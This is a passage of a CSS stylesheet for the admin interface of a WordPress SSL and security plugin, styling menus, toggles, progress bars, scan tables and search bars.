    padding-inline: var(--rsp-spacing-xs) !important;
}

.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-active {
    border-radius: var(--rsp-border-radius-s);
    background: var(--rsp-yellow-faded);
    box-shadow: var(--rsp-box-shadow);
}

.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-active a:hover {
    text-decoration: none;
}

.rsssl-wizard-menu-items .rsssl-main-menu .rsssl-menu-item a span {
    font-weight: 600;
}

.rsssl-wizard-menu-items .rsssl-menu-item a {
    display: flex;
    align-items: center;
    gap: var(--rsp-spacing-xs);
    text-decoration: none;
    color: var(--rsp-text-color);
    font-size: var(--rsp-fs-400);
    padding-block: var(--rsp-spacing-xs);
    transition: all 0.2s ease-in-out;
    padding-left: var(--rsp-spacing-xs);
}

.rsssl-wizard-menu-items .rsssl-menu-item a:hover {
    text-decoration: underline;
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-active > a {
    font-weight: 600;
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-active a:focus {
    box-shadow: none !important;
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured.rsssl-active .rsssl-menu-item-beta-pill {
    color: var(--rsp-dark-blue);
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a {
    flex-wrap: wrap;
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a .rsssl-menu-item-featured-pill {
    background: var(--rsp-green);
    color: var(--rsp-text-color-white);
    padding: 4px 8px;
    border-radius: var(--rsp-border-radius-xs);
    font-size: var(--rsp-fs-100);
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-featured a .rsssl-menu-item-beta-pill {
    color: var(--rsp-dark-blue);
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new .rsssl-menu-item-new-pill {
    background: var(--rsp-yellow);
    color: var(--rsp-text-color-dark);
    padding: 4px 8px;
    border-radius: var(--rsp-border-radius-xs);
    font-size: var(--rsp-fs-100);
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new.rsssl-active .rsssl-menu-item-new-pill {
    color: var(--rsp-text-color-dark);
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-new a {
    flex-wrap: wrap;
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-premium a {
    flex-wrap: wrap;
}

.rsssl-wizard-menu-items .rsssl-menu-item.rsssl-premium a .rsssl-menu-item-featured-pill {
    background: var(--rsp-dark-blue);
    color: var(--rsp-text-color-white);
    padding: 2px 9px;
    border-radius: var(--rsp-border-radius);
    font-size: var(--rsp-fs-100);
}

.rsssl-wizard-menu-items .rsssl-submenu-item a {
    padding-left: calc(var(--rsp-spacing-xs) + var(--rsp-spacing-s)) !important;
    font-size: var(--rsp-fs-300);
}

.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a {
    text-decoration: none;
    position: relative;
}

.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a span {
    color: initial;
}

.rsssl-wizard-menu-items .rsssl-submenu-item .rsssl-active a::before {
    content: "•";
    color: var(--rsp-dark-blue);
    font-size: 3em;
    position: absolute;
    left: var(--rsp-spacing-xxs) !important;
    margin-bottom: 7px;
}

html {
    scroll-behavior: smooth;
}

.rsssl div[class^=rsssl-wizard-] .components-flex {
    display: flex;
    flex-direction: row;
    align-items: center;
    justify-content: space-between;
}

.rsssl div[class^=rsssl-wizard-] .components-flex .components-flex-item label {
    margin: 0;
}

.rsssl div[class^=rsssl-wizard-] .components-flex .rsssl-tooltip {
    flex-grow: 1;
}

.rsssl div[class^=rsssl-wizard-] .components-flex .components-input-control__container {
    max-width: max-content;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-content label {
    font-size: var(--rsp-fs-300);
    font-weight: 400;
    line-height: 1.5;
    text-transform: unset;
    box-sizing: border-box;
    display: inherit;
    max-width: 100%;
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}

.rsssl div[class^=rsssl-wizard-] .components-base-control__field {
    margin-bottom: 0;
}

.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-base-control__field, .rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-flex {
    display: flex;
    flex-direction: row-reverse;
    align-items: center;
    justify-content: space-between;
    width: 100%;
}

.rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-base-control__field .components-form-toggle, .rsssl div[class^=rsssl-wizard-] .components-toggle-control .components-flex .components-form-toggle {
    margin-right: 0;
}

.rsssl div[class^=rsssl-wizard-] select option {
    font-size: var(--rsp-fs-300);
}

.rsssl div[class^=rsssl-wizard-] .components-form-toggle.is-checked .components-form-toggle__track {
    background-color: var(--rsp-dark-blue);
}

.rsssl div[class^=rsssl-wizard-] input.components-form-toggle__input[type=checkbox]:disabled {
    background: var(--rsp-grey-100);
    opacity: 0.7;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item .rsssl-grid-item-content {
    padding: var(--rsp-spacing-xs) 0;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap .rsssl-comment {
    font-style: italic;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap, .rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro {
    padding-block: var(--rsp-spacing-s);
    padding-inline: var(--rsp-spacing-l);
    overflow: hidden;
}

@media screen and (max-width: 1280px) {
    .rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap, .rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro {
        padding-inline: var(--rsp-spacing-m);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap, .rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro {
        padding-inline: var(--rsp-spacing-s);
    }
}

.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap > .rsssl-field-wrap, .rsssl div[class^=rsssl-wizard-] .rsssl-settings-block-intro > .rsssl-field-wrap {
    padding: 0;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-field-button {
    display: flex;
    justify-content: space-between;
    flex-wrap: wrap;
    align-items: center;
}

.rsssl .rsssl-highlight {
    background-color: transparent;
    border-left: 4px solid var(--rsp-green);
    -o-animation: fadeIt 3s ease-in-out;
    animation: fadeIt 3s ease-in-out;
    scroll-margin-top: 100px;
    scroll-padding-top: 100px;
}

.rsssl .rsssl-block-highlight {
    border: 0;
    -o-animation: pulse 2s infinite;
    animation: pulse 2s infinite;
}

@-webkit-keyframes pulse {
    0% {
        -webkit-box-shadow: 0 0 0 0 var(--rsp-green);
    }

    70% {
        -webkit-box-shadow: 0 0 0 10px var(--rsp-green-faded);
    }

    100% {
        -webkit-box-shadow: 0 0 0 0 var(--rsp-green-faded);
    }
}

@keyframes pulse {
    0% {
        -moz-box-shadow: 0 0 0 0 var(--rsp-green);
        box-shadow: 0 0 0 0 var(--rsp-green);
    }

    70% {
        -moz-box-shadow: 0 0 0 10px var(--rsp-green-faded);
        box-shadow: 0 0 0 10px var(--rsp-green-faded);
    }

    100% {
        -moz-box-shadow: 0 0 0 0 var(--rsp-green-faded);
        box-shadow: 0 0 0 0 var(--rsp-green-faded);
    }
}

@-o-keyframes fadeIt {
    0% {
        background-color: transparent;
    }

    30% {
        background-color: var(--rsp-green-faded);
    }

    100% {
        border-right: 0;
        background-color: inherit;
    }
}

@keyframes fadeIt {
    0% {
        background-color: transparent;
        border-right: 0;
    }

    30% {
        background-color: var(--rsp-green-faded);
    }

    100% {
        background-color: inherit;
    }
}

.rsssl-email-verified {
    position: absolute;
    bottom: 23px;
    right: 35px;
}

.rsssl-ip-verified {
    position: absolute;
    bottom: 8px;
    right: 6px;
}

.rsssl-license .rsssl-task-element {
    padding-top: var(--rsp-spacing-s);
    padding-bottom: 0;
}

.rsssl-license .rsssl-license-field {
    display: flex;
}

.input-container {
    position: relative;
    display: inline-block;
    width: 100%;
}

input.rsssl-input.full {
    width: 100%;
    padding-right: 40px;
}

input.rsssl-input.rsssl-error {
    border: 2px solid var(--rsp-red);
    outline: none;
}

input.rsssl-input.rsssl-error:focus {
    border-color: var(--rsp-red) !important;
}

input.rsssl-input.rsssl-success {
    border: 2px solid var(--rsp-green);
    outline: none;
}

input.rsssl-input.rsssl-success:focus {
    border-color: var(--rsp-green) !important;
}

.wp-core-ui select {
  /* Your styles here */
    flex-grow: 1 !important;
    max-width: 33%;
}

.icon-button {
    position: absolute;
    right: 10px;
    top: 50%;
    transform: translateY(-50%);
    border: none;
    background: none;
    cursor: pointer;
}

.rsssl-group-filter {
    min-width: 25%;
    max-width: 100% !important;
}

.rsssl .components-snackbar-list.edit-site-notices {
    width: max-content;
    position: fixed;
    bottom: var(--rsp-spacing-m);
    right: var(--rsp-spacing-l);
}

.rsssl .components-snackbar-list.edit-site-notices > div {
    margin-left: auto;
}

.rsssl .components-snackbar-list.edit-site-notices .components-snackbar {
    background: var(--rsp-background-block-color);
    box-shadow: var(--rsp-box-shadow);
    border-radius: var(--rsp-border-radius);
    color: var(--rsp-color-success);
    background-color: #fff;
    font-weight: 700;
    font-size: 14px;
}

.rsssl-mixed-content-scan .rsssl-mixed-content-placeholder {
    height: 250px;
}

.rsssl-mixed-content-scan .rsssl-mixed-content-placeholder div {
    background-color: var(--rsp-grey-200);
    margin: 10px 0;
    height: 20px;
}

.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell[data-column-id="2"] {
    display: grid;
}

.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol, .rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell {
    min-width: 110px;
}

.rsssl-mixed-content-scan .rsssl-progress-container .rsssl-progress-bar {
    border-radius: 5px;
    height: 20px;
    background-color: var(--rsp-green);
}

.rsssl-mixed-content-scan .rsssl-task-status, .rsssl-mixed-content-scan .rsssl-locked-overlay .rsssl-progress-status, .rsssl-locked-overlay .rsssl-mixed-content-scan .rsssl-progress-status {
    min-width: min-content;
}

.rsssl-mixed-content-scan .rsssl-task-status.rsssl-warning, .rsssl-mixed-content-scan .rsssl-locked-overlay .rsssl-warning.rsssl-progress-status, .rsssl-locked-overlay .rsssl-mixed-content-scan .rsssl-warning.rsssl-progress-status {
    background-color: var(--rsp-yellow);
    color: var(--rsp-text-color);
}

.rsssl-mixed-content-scan button.button {
    line-height: 1.5;
    min-height: 10px;
}

.rsssl-mixed-content-scan .rsssl-grid-item-content-footer {
    display: flex;
    gap: var(--rsp-spacing-s);
}

.rsssl-mixed-content-scan .rsssl-current-scan-action, .rsssl-mixed-content-scan .rsssl-mixed-content-description {
    margin: 10px 5px;
    font-size: var(--rsp-fs-300);
}

.rsssl-learningmode-placeholder {
    height: 150px;
}

.rsssl-learningmode-placeholder div {
    background-color: var(--rsp-grey-200);
    margin: 10px 0;
    height: 20px;
}

.rsssl-learning-mode-delete {
    cursor: pointer;
    background: none;
    border: none;
    font-size: 1.5em;
    font-weight: 700;
}

.rsssl-locked-overlay .rsssl-open {
    float: left;
    margin-right: 12px;
}

.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-completed, .rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-enforced {
    background-color: var(--rsp-color-success);
    color: #fff;
}

.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode {
    background-color: var(--rsp-color-open);
}

.rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-error {
    background-color: var(--rsp-color-error);
    color: #fff;
}

.rsssl-locked-overlay .rsssl-progress-status.rsssl-disabled, .rsssl-locked-overlay .rsssl-progress-status.rsssl-learning-mode-disabled {
    background-color: var(--rsp-color-disabled);
}

.rsssl-learning-mode-footer {
    display: flex;
    align-items: center;
    justify-content: flex-start;
    gap: var(--rsp-spacing-s);
}

.rsssl-learning-mode-footer select {
    margin-left: auto;
}

.rsssl-learning-mode-footer label {
    display: flex;
    align-items: center;
}

.rsssl-learning-mode-footer label input {
    margin-top: 0;
}

.rsssl-lets-encrypt-tests {
    margin: var(--rsp-spacing-xs) var(--rsp-spacing-xl);
}

.rsssl-lets-encrypt-tests .rsssl-features ul {
    display: flex;
    list-style-type: none;
    padding: 0;
    margin: 0;
}

.rsssl-lets-encrypt-tests .rsssl-features ul .rsssl-checkbox-items {
    display: flex;
    flex-direction: column;
    align-items: flex-start;
    margin-right: var(--rsp-spacing-l);
}

.rsssl-lets-encrypt-tests .rsssl-progress-bar {
    padding-block: 0;
    margin-bottom: var(--rsp-spacing-m);
}

.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress {
    overflow: hidden;
    height: var(--rsp-spacing-m);
    border-radius: 5px;
    background-color: var(--rsp-grey-200);
}

.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress .rsssl-bar {
    height: 100%;
    background-color: var(--rsp-color-success);
}

.rsssl-lets-encrypt-tests .rsssl-progress-bar .rsssl-progress .rsssl-bar.rsssl-orange {
    background-color: var(--rsp-color-warning);
}

.rsssl-lets-encrypt-tests p {
    margin-bottom: var(--rsp-spacing-m);
}

.rsssl-lets-encrypt-tests .rsssl-progress-text {
    display: flex;
    align-items: center;
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
    padding-block: 0;
    padding-top: var(--rsp-spacing-xs);
}

@media screen and (max-width: 1280px) {
    .rsssl-lets-encrypt-tests .rsssl-progress-text {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl-lets-encrypt-tests .rsssl-progress-text {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-percentage {
    font-size: 32px;
    font-weight: 700;
}

.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-text-span {
    margin-left: 35px;
    font-size: 18px;
    font-weight: 600;
}

.rsssl-lets-encrypt-tests .rsssl-progress-text .rsssl-progress-text-span a {
    margin-left: 3px;
}

.rsssl-lets-encrypt-tests ul li {
    display: flex;
    margin-bottom: 15px;
  /*Nested li */
}

.rsssl-lets-encrypt-tests ul li .rsssl-icon {
    margin-right: 7px;
}

.rsssl-lets-encrypt-tests ul li ul li:before {
    background-color: var(--rsp-grey-500);
    color: #fff;
    height: 6px;
    width: 6px;
    border-radius: 50%;
    content: "";
    position: absolute;
    margin-top: 7px;
    margin-left: -19px;
}

.rsssl-lets-encrypt-tests .rsssl-test-results ul li {
    display: block;
}

.rsssl-lets-encrypt-tests .rsssl-test-results h4 {
    margin: var(--rsp-spacing-m) 0;
}

.rsssl-lets-encrypt-tests .rsssl-test-results a + button {
    margin-left: var(--rsp-spacing-m);
}

.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-certificate-data {
    display: none;
}

.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div {
    display: flex;
    flex-direction: row;
    margin-right: 20px;
}

.rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div .rsssl-dns-domain, .rsssl-lets-encrypt-tests .rsssl-test-results .rsssl-dns-text-records div .rsssl-dns-field {
    margin-right: var(--rsp-spacing-m);
    width: 50%;
}

.rsssl-lets-encrypt-tests .rsssl-modal-subtitle {
    display: none;
}

.rsssl-lets-encrypt-tests .components-toggle-control {
    margin: 20px 0;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rdt_TableCell, .rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rdt_TableCol {
    min-width: fit-content;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-permissions_policy .rsssl-locked .rsssl-shield-overlay {
    top: calc(100% - 300px);
}

.rsssl-vulnerability-action a.button {
    margin-left: 10px;
}

.rsssl-processing {
    opacity: 0.5;
}

.rsssl-vulnerabilities_measures-overview .allowRowEvents .wp-core-ui select {
    max-width: 100%;
}

.rsssl-vulnerabilities_measures-overview .rdt_TableCell:nth-child(2) select {
    max-width: 100%;
}

.rsssl-vulnerabilities_measures .rsssl-locked-overlay input[type=checkbox] {
    margin-top: 0;
}

/**
Admin notice
 */
.rsssl-404_blocking .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-user_agents .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-content_security_policy_source_directives .rsssl-field-wrap nav.rdt_Pagination > div > svg,
.rsssl-firewall_block_list_listing .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-two_fa_users .rsssl-field-wrap nav.rdt_Pagination > div > svg,
.rsssl-firewall_list_listing .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-vulnerabilities_overview .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-permissions_policy .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-firewall_white_list_listing .rsssl-field-wrap nav.rdt_Pagination > div > svg,
.rsssl-firewall_logs_content .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-limit_login_attempts_country .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-limit_login_attempts_users .rsssl-field-wrap nav.rdt_Pagination > div > svg,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-mixed-content-scan .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap nav.rdt_Pagination > div > svg,
.rsssl-content_security_policy .rsssl-field-wrap nav.rdt_Pagination > div > svg, .rsssl-hardening-xml .rsssl-field-wrap nav.rdt_Pagination > div > svg {
    display: none !important;
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar, .rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar, .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar {
    float: right;
    padding: 0;
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__inner,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__inner,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__inner,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__inner,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__inner,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__inner, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__inner {
    display: flex;
    align-items: center;
    border-radius: 3px;
    transition: background-color 0.3s ease;
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__inner:focus-within,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__inner:focus-within, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__inner:focus-within {
    background-color: #fff;
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__icon,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__icon,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__icon,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__icon,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__icon,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__icon, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__icon {
  /* Add styles for the search icon */
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__input,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__input,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__input,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__input,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__input,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__input, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__input {
    width: 150px;
 /* Adjust width as needed */
    transition: width 0.3s ease;
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__input:focus,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__input:focus,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__input:focus,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__input:focus,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__input:focus, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__input:focus {
    width: 200px;
 /* Adjust width as needed */
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-container, .rsssl-user_agents .rsssl-field-wrap .rsssl-container, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-container,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-container, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-container, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-container,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-container, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-container, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-container, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-container,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-container, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-container, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-container,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-container, .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-container, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-container,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-container, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-container {
    padding: 2em;
    display: flex;
    align-items: center;
    justify-content: space-between;
}

.rsssl-404_blocking .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-user_agents .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-multiselect-datatable-form,
.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-two_fa_users .rsssl-field-wrap .rsssl-multiselect-datatable-form,
.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-permissions_policy .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form,
.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-multiselect-datatable-form,
.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-multiselect-datatable-form,
.rsssl-content_security_policy .rsssl-field-wrap .rsssl-multiselect-datatable-form, .rsssl-hardening-xml .rsssl-field-wrap .rsssl-multiselect-datatable-form {
    display: flex;
    align-items: center;
    Justify-content: space-between;
    width: 100%;
    padding: 1em 2em;
    background: var(--rsp-blue-faded);
}

